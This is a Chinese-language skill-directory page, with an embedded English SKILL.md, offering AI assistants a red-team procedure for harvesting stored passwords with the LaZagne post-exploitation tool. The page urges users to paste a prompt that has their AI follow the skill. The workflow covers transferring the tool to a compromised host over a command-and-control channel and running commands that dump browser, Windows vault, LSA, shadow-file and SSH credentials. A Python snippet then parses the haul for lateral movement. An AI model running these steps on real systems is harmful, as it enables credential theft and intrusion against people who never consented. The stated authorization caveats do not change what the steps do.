跳到正文
Skillpedia
数据库35k · #8211

performing-credential-access-with-lazagne

它能做什么

这个工具用来搜索并找回电脑上保存的密码。它能找到浏览器、邮件程序、数据库和其他应用中保存的密码。

适用场景

  • ✓测试系统的安全性时。
  • ✓在获得电脑访问权限后,查找更多密码时。
  • ✓检查已保存的密码是否受到保护时。

技能链接

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-credential-access-with-lazagne/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-credential-access-with-lazagne/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“搜索这台电脑上保存的密码。”

每周 5 个新技能,1 分钟读完。

工作原理

这个工具会检查各种可能保存密码的位置,比如浏览器和应用程序。它会尝试“解锁”这些密码,让你能够看到它们。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

  • When conducting security assessments that involve performing credential access with lazagne
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
  • Extract credentials from all supported password stores
  • Parse and prioritize recovered credentials for lateral movement
  • Identify high-value credentials (domain admin, service accounts, cloud access)
  • Document credential harvesting results with appropriate evidence handling
  • Correlate recovered credentials with BloodHound attack paths

MITRE ATT&CK Mapping

  • T1555 - Credentials from Password Stores
  • T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
  • T1555.004 - Credentials from Password Stores: Windows Credential Manager
  • T1552.001 - Unsecured Credentials: Credentials In Files
  • T1552.002 - Unsecured Credentials: Credentials in Registry
  • T1003.004 - OS Credential Dumping: LSA Secrets
  • T1539 - Steal Web Session Cookie

Workflow

Phase 1: LaZagne Deployment

  1. Transfer LaZagne to the compromised host:
    # Pre-compiled executable (Windows)
    # Transfer lazagne.exe via C2 channel or file upload
    
    # Python version (requires Python on target)
    git clone https://github.com/AlessandroZ/LaZagne.git
    cd LaZagne
    pip install -r requirements.txt
    
  2. Verify execution capability and privileges:
    # Check current user context
    whoami /priv
    
    # LaZagne works with standard user privileges for user-level stores
    # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
    

Phase 2: Full Credential Extraction (Windows)

  1. Run LaZagne with all modules:
    # Extract all credentials
    lazagne.exe all
    
    # Export results to JSON
    lazagne.exe all -oJ
    
    # Export results to specific file
    lazagne.exe all -oJ -output C:\Temp\creds
    
  2. Run specific modules for targeted extraction:
    # Browsers only (Chrome, Firefox, Edge, Opera, IE)
    lazagne.exe browsers
    
    # Windows credential stores
    lazagne.exe windows
    
    # Database credentials
    lazagne.exe databases
    
    # Email client credentials
    lazagne.exe mails
    
    # Wi-Fi passwords
    lazagne.exe wifi
    
    # Git credentials
    lazagne.exe git
    
    # System credentials (requires elevated privileges)
    lazagne.exe sysadmin
    

Phase 3: Credential Extraction (Linux)

  1. Run LaZagne on Linux targets:
    # Full extraction
    python3 laZagne.py all
    
    # Browser credentials
    python3 laZagne.py browsers
    
    # System credentials (SSH keys, shadow file with root)
    python3 laZagne.py sysadmin
    
    # Database credentials
    python3 laZagne.py databases
    
    # Git credentials
    python3 laZagne.py git
    

Phase 4: Credential Analysis and Prioritization

  1. Parse JSON output for unique credentials:
    import json
    with open("creds.json") as f:
        results = json.load(f)
    for module in results:
        for entry in module.get("results", []):
            print(f"Source: {entry.get('Category')}")
            print(f"  User: {entry.get('Login', 'N/A')}")
            print(f"  URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
    
  2. Prioritize credentials by value:

…

常见问题

使用这个工具需要许可吗?

需要。在任何系统上使用这个工具都需要获得授权,因为它会访问敏感信息。

它能在所有类型的电脑上运行吗?

它支持 Windows、Linux 和 macOS,但在 Windows 上功能最全。

什么是“凭据”(credentials)?

凭据是登录信息,比如用户名和密码,用于获取系统或应用的访问权限。

详情

作者的原始描述

Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.

repo: mukul975/Anthropic-Cybersecurity-Skills

热度

GitHub 星标
35k
排名
#8211
许可证
Apache-2.0
更新时间
2026/8/31

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能